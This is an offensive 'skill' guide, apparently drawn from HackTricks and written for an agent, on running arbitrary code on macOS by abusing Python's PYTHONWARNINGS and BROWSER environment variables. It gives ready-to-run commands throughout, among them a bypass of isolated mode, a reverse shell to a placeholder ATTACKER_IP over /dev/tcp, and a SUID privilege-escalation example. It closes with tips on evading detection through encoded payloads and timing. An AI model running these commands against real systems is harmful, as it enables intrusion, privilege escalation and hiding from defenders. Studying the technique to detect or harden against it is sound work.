Macos Python Env Injection

macOS Python Applications Injection

This skill covers exploiting Python environment variables on macOS to achieve arbitrary code execution. The technique leverages two environment variables: PYTHONWARNINGS and BROWSER.

When to Use This Skill

Use this skill when:

• You have a macOS target running Python applications
• You can set or influence environment variables before Python execution
• You need to achieve code execution or privilege escalation
• You're working on CTF challenges involving Python exploitation
• You need to bypass Python's isolated mode (-I flag)
• You have write access to a Python script that will be executed

Core Technique

Python processes certain environment variables before executing scripts, which can be exploited to inject arbitrary code:

1. PYTHONWARNINGS Variable

The PYTHONWARNINGS variable controls how Python handles warnings. It can be crafted to trigger code execution through the antigravity module.

2. BROWSER Variable

The BROWSER variable tells Python which browser to use for certain operations. It can be crafted to execute shell commands.

Exploitation Methods

Method 1: Basic PYTHONWARNINGS + BROWSER Injection

# Generate a target Python script
echo "print('hi')" > /tmp/script.py

# Execute arbitrary code via environment variables
PYTHONWARNINGS="all:0:antigravity.x:0:0" BROWSER="/bin/sh -c 'touch /tmp/hacktricks' #%s" python3 /tmp/script.py

How it works:

• PYTHONWARNINGS="all:0:antigravity.x:0:0" triggers the antigravity module
• BROWSER="/bin/sh -c 'touch /tmp/hacktricks' #%s" executes the shell command
• The #%s is a format string that Python uses for the browser URL

Method 2: Bypassing Isolated Mode (-I Flag)

When Python is run with -I (isolated mode), some environment variables are ignored. You can bypass this by injecting -W before the script:

BROWSER="/bin/sh -c 'touch /tmp/hacktricks' #%s" python3 -I -W all:0:antigravity.x:0:0 /tmp/script.py

How it works:

• The -W flag is processed before -I takes full effect
• This allows the warning configuration to still trigger
• The BROWSER variable still executes the payload

Practical Examples

Example 1: Reverse Shell

# Create a reverse shell payload
BROWSER="/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1' #%s"
PYTHONWARNINGS="all:0:antigravity.x:0:0"

# Execute the target script
python3 /path/to/target.py

Example 2: File Creation/Modification

# Create a file as the Python process user
BROWSER="/bin/sh -c 'echo malicious > /tmp/pwned' #%s"
PYTHONWARNINGS="all:0:antigravity.x:0:0"
python3 /path/to/script.py

Example 3: SUID Binary Exploitation

If you find a SUID Python binary or script:

# Set environment variables before execution
export PYTHONWARNINGS="all:0:antigravity.x:0:0"
export BROWSER="/bin/sh -c 'id > /tmp/root_access' #%s"

# Run the SUID binary
/path/to/suid_python_binary

Detection and Evasion

Detection Signs

• Unexpected files created in /tmp/ or other writable directories
• Strange process spawning from Python
• Network connections from Python processes

Evasion Tips

• Use legitimate-looking file paths in your payload
• Time your execution to blend with normal activity
• Consider using encoded payloads to avoid detection

Limitations

• Requires ability to set environment variables before Python execution
• May not work if the Python process runs with restricted permissions
• Some hardened systems may sanitize environment variables
• The -I flag bypass requires specific flag ordering

Related Techniques

• Python shebang injection
• Python path manipulation
• Sitecustomize.py exploitation
• PYTHONSTARTUP variable abuse

References

• HackTricks - macOS Python Applications Injection
• Python Environment Variables Documentation
• CTF writeups involving Python exploitation